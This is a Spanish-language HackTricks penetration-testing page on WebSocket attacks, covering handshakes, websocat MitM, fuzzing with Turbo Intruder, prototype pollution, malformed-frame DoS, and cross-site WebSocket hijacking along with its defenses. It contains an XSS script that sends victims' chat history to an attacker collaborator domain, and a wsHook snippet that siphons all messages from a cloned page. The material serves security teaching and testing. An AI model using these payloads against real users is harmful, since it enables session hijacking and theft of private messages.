20 KiB
Ataques WebSocket
{{#include ../banners/hacktricks-training.md}}
¿Qué son los WebSockets?
Las conexiones WebSocket se establecen mediante un HTTP handshake inicial y están diseñadas para ser de larga duración, lo que permite mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean especialmente ventajosos para aplicaciones que requieren baja latencia o comunicación iniciada por el servidor, como flujos de datos financieros en vivo.
Establecimiento de conexiones WebSocket
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede consultar aquí. En resumen, las conexiones WebSocket suelen iniciarse desde JavaScript del lado del cliente como se muestra a continuación:
var ws = new WebSocket("wss://normal-website.com/ws")
El protocolo wss
indica una conexión WebSocket asegurada con TLS, mientras que ws
indica una conexión no segura.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor sobre HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Respuesta de handshake del servidor:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
Puntos clave del WebSocket Handshake:
- Los encabezados
Connection
yUpgrade
señalan el inicio de un WebSocket handshake. - El encabezado
Sec-WebSocket-Version
indica la versión del protocolo WebSocket deseada, normalmente13
. - Se envía un valor aleatorio codificado en Base64 en el encabezado
Sec-WebSocket-Key
, garantizando que cada handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no sirve para autenticación sino para confirmar que la respuesta no es generada por un servidor o caché mal configurado. - El encabezado
Sec-WebSocket-Accept
en la respuesta del servidor es un hash de laSec-WebSocket-Key
, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de handshake sea seguro y fiable, allanando el camino para una comunicación en tiempo real eficiente.
Consola de Linux
Puedes usar websocat
para establecer una conexión raw con un WebSocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si detectas que clientes están conectados a un HTTP websocket desde tu red local actual, podrías intentar un ARP Spoofing Attack para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente intente conectarse a ti, puedes usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeración de websockets
Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, fingerprint y buscar vulnerabilidades conocidas en websockets automáticamente.
Herramientas de depuración de Websocket
- Burp Suite soporta comunicaciones websockets MitM de una manera muy similar a como lo hace con la comunicación HTTP regular.
- La socketsleuth extensión de Burp Suite te permitirá gestionar mejor las comunicaciones Websocket en Burp obteniendo el history, estableciendo interception rules, usando reglas de match and replace, usando Intruder y AutoRepeater.
- WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capture, intercept, send custom messages y ver todas las comunicaciones WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un interactive websocket REPL diseñado específicamente para penetration testing. Proporciona una interfaz para observar incoming websocket messages and sending new ones, con un framework fácil de usar para automating esta comunicación.
- https://websocketking.com/ es un sitio web para comunicarse con otros sitios usando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona un sitio web para comunicarse con otros sitios usando websockets.
Descifrado de Websocket
Laboratorio Websocket
En Burp-Suite-Extender-Montoya-Course tienes código para lanzar un sitio web usando websockets y en esta publicación puedes encontrar una explicación.
Fuzzing de Websocket
La extensión de Burp Backslash Powered Scanner ahora permite fuzzing también de mensajes WebSocket. Puedes leer más información sobre esto aquí.
WebSocket Turbo Intruder (extensión de Burp)
WebSocket Turbo Intruder de PortSwigger aporta scripting en Python al estilo Turbo Intruder y fuzzing de alta tasa para WebSockets. Instálalo desde la BApp Store o desde la fuente. Incluye dos componentes:
- Turbo Intruder: mensajería de alto volumen a un único endpoint WS usando motores personalizados.
- HTTP Middleware: expone un endpoint HTTP local que reenvía bodies como mensajes WS sobre una conexión persistente, para que cualquier scanner basado en HTTP pueda sondear backends WS.
Patrón básico de script para fuzzing de un endpoint WS y filtrar respuestas relevantes:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Usa decoradores como @MatchRegex(...)
para reducir el ruido cuando un solo mensaje provoca múltiples respuestas.
Puente WS detrás de HTTP (HTTP Middleware)
Envuelve una conexión WS persistente y reenvía los cuerpos HTTP como mensajes WS para pruebas automatizadas con escáneres HTTP:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Luego envía HTTP localmente; el body se reenvía como el mensaje WS:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Esto te permite controlar backends WS mientras filtras eventos “interesantes” (p. ej., errores de SQLi, auth bypass, comportamiento de command injection).
Socket.IO handling (handshake, heartbeats, events)
Socket.IO añade su propia encapsulación sobre WS. Detéctalo mediante el parámetro de consulta obligatorio EIO
(p. ej., EIO=4
). Mantén la sesión viva con Ping (2
) y Pong (3
) y comienza la conversación con "40"
, luego emite eventos como 42["message","hello"]
.
Ejemplo de Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Variante de adaptador HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Detectando prototype pollution del lado del servidor mediante Socket.IO
Siguiendo la técnica de detección segura de PortSwigger, intenta contaminar los internals de Express enviando un payload como:
{"__proto__":{"initialPacket":"Polluted"}}
Si los saludos o el comportamiento cambian (p. ej., echo incluye "Polluted"), probablemente causaste prototype pollution en el servidor. El impacto depende de los sinks alcanzables; correlaciónalo con los gadgets en la sección de Node.js prototype pollution. Ver:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
El engine por defecto agrupa mensajes en una sola conexión (alto throughput, malo para condiciones de carrera). Usa el engine THREADED para abrir múltiples conexiones WS y disparar payloads en paralelo para provocar race logic (double‑spend, token reuse, state desync). Empieza desde el script de ejemplo y ajusta la concurrencia en config()
.
- Aprende la metodología y alternativas en Race Condition (ver “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Crea frames WS cuyo header declara una longitud de payload enorme pero no envía cuerpo. Algunos servidores WS confían en la longitud y pre‑asignan buffers; ajustarla cerca de Integer.MAX_VALUE
puede causar Out‑Of‑Memory y un DoS remoto sin autenticación. Ver el script de ejemplo.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Habilita el WS Logger para capturar y correlacionar mensajes usando IDs internos.
- Usa los helpers
inc*
/dec*
sobreConnection
para ajustar el manejo de IDs de mensaje en adapters complejos. - Decorators como
@PingPong
/@Pong
y helpers comoisInteresting()
reducen el ruido y mantienen las sesiones vivas.
Operational safety
El fuzzing WS a alta tasa puede abrir muchas conexiones y enviar miles de mensajes por segundo. Frames malformados y tasas altas pueden provocar DoS real. Úsalo solo donde esté permitido.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, también conocido como cross-origin WebSocket hijacking, se identifica como un caso específico de Cross-Site Request Forgery (CSRF) que afecta los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente mediante HTTP cookies sin CSRF tokens u otras medidas de seguridad similares.
Los atacantes pueden explotarla hospedando una página web maliciosa que inicia una conexión WebSocket cross-site hacia la aplicación vulnerable. Como consecuencia, esa conexión se trata como parte de la sesión de la víctima con la aplicación, explotando la falta de protección CSRF en el manejo de sesiones.
Para que este ataque funcione, se requieren:
- La autenticación del websocket debe basarse en cookies
- La cookie debe ser accesible desde el servidor del atacante (esto suele implicar
SameSite=None
) y no debe estar habilitado Firefox Total Cookie Protection en Firefox ni tener third-party cookies bloqueadas en Chrome. - El servidor websocket no debe verificar el origin de la conexión (o esto debe ser evadible)
Además:
- Si la autenticación se basa en una conexión local (a localhost o a una red local) el ataque será posible ya que no existe una protección actual que lo impida (check more info here)
Simple Attack
Ten en cuenta que al establecer una websocket conexión la cookie se envía al servidor. El servidor podría usarla para relacionar a cada usuario específico con su sesión websocket basada en la cookie enviada.
Entonces, si por ejemplo el servidor websocket devuelve el historial de la conversación de un usuario si se envía un msg con "READY", entonces un simple XSS que establezca la conexión (la cookie será enviada automáticamente para autorizar al usuario víctima) enviando "READY" podrá recuperar el historial de la conversación.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie con un subdominio diferente
En este blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logró execute arbitrary Javascript in a subdomain del dominio donde se estaba produciendo la comunicación del web socket. Como era un subdomain, la cookie se estaba sent, y debido a que el Websocket didn't check the Origin properly, fue posible comunicarse con él y steal tokens from it.
Robar datos del usuario
Copia la aplicación web que quieras suplantar (los archivos .html, por ejemplo) y dentro del script donde se está realizando la comunicación websocket añade este código:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Ahora descarga el archivo wsHook.js
desde https://github.com/skepticfx/wshook y guárdalo dentro de la carpeta con los archivos web.
Al exponer la aplicación web y hacer que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos vía websocket:
sudo python3 -m http.server 80
Protecciones CSWSH
El ataque CSWSH se basa en que un usuario se conectará a una página maliciosa que abrirá una conexión websocket a una página web a la que el usuario ya está conectado y se autenticará como él, ya que la petición enviará las cookies del usuario.
Hoy en día, es muy fácil prevenir este problema:
- Websocket server checking the origin: El servidor websocket debería siempre comprobar desde dónde se conecta un usuario para evitar que páginas inesperadas se conecten a él.
- Authentication token: En lugar de basar la autenticación en una cookie, la conexión websocket podría basarse en un token que sea generado por el servidor para el usuario y desconocido para el atacante (como un anti-CSRF token).
- SameSite Cookie attribute: Las cookies con el valor
SameSite
comoLax
oStrict
no se enviarán desde una página atacante externa al servidor víctima; por lo tanto, la autenticación basada en cookies no tendrá éxito. Ten en cuenta que Chrome ahora asigna el valorLax
a las cookies sin esta flag especificada, haciendo esto más seguro por defecto. Sin embargo, durante los primeros 2 minutos tras crear la cookie tendrá el valorNone
, lo que la hace vulnerable durante ese período limitado de tiempo (también se espera que esta medida sea eliminada en algún momento). - Firefox Total Cookie Protection: Total Cookie Protection funciona aislando las cookies al sitio en el que se crean. Esencialmente, cada sitio tiene su propia partición de almacenamiento de cookies para evitar que terceros vinculen el historial de navegación de un usuario. Esto hace que CSWSH sea inutilizable, ya que el sitio del atacante no tendrá acceso a las cookies.
- Chrome third-party cookies block: Esto también podría evitar el envío de la cookie del usuario autenticado al servidor websocket incluso con
SameSite=None
.
Condiciones de carrera
Las condiciones de carrera en WebSockets también existen, consulta esta información para aprender más.
Otras vulnerabilidades
Como Web Sockets son un mecanismo para enviar datos al servidor y al cliente, dependiendo de cómo el servidor y el cliente manejen la información, los Web Sockets pueden utilizarse para explotar otras vulnerabilidades como XSS, SQLi u otras vulnerabilidades web comunes usando la entrada de un usuario desde un websocket.
WebSocket Smuggling
Esta vulnerabilidad podría permitirte eludir las restricciones de reverse proxies haciéndoles creer que se estableció una comunicación websocket (aunque no sea cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para más información consulta la siguiente página:
{{#ref}} h2c-smuggling.md {{#endref}}
Referencias
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
{{#include ../banners/hacktricks-training.md}}